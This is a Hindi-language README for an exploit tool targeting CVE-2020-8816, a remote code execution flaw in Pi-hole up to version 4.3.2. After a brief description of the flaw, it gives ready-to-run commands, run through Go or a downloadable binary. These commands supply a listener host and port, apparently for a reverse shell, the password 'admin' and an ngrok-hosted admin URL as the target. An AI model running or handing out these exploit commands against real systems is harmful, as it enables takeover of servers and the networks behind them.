CVE-2020-8816

CVE 2020-8816 :

Pi-hole (संस्करण <= 4.3.2) एक रिमोट कोड निष्पादन भेद्यता से प्रभावित है। वेब पोर्टल का एक प्रमाणित उपयोगकर्ता अंतर्निहित सर्वर पर सेवा चलाने वाले स्थानीय उपयोगकर्ता के विशेषाधिकारों के साथ मनमाना कमांड निष्पादित कर सकता है।

उदाहरण :

go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/

या बाइनरी डाउनलोड करें CVE-2020-8816 :

./CVE-2020-8816 -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/

संदर्भ :

• https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/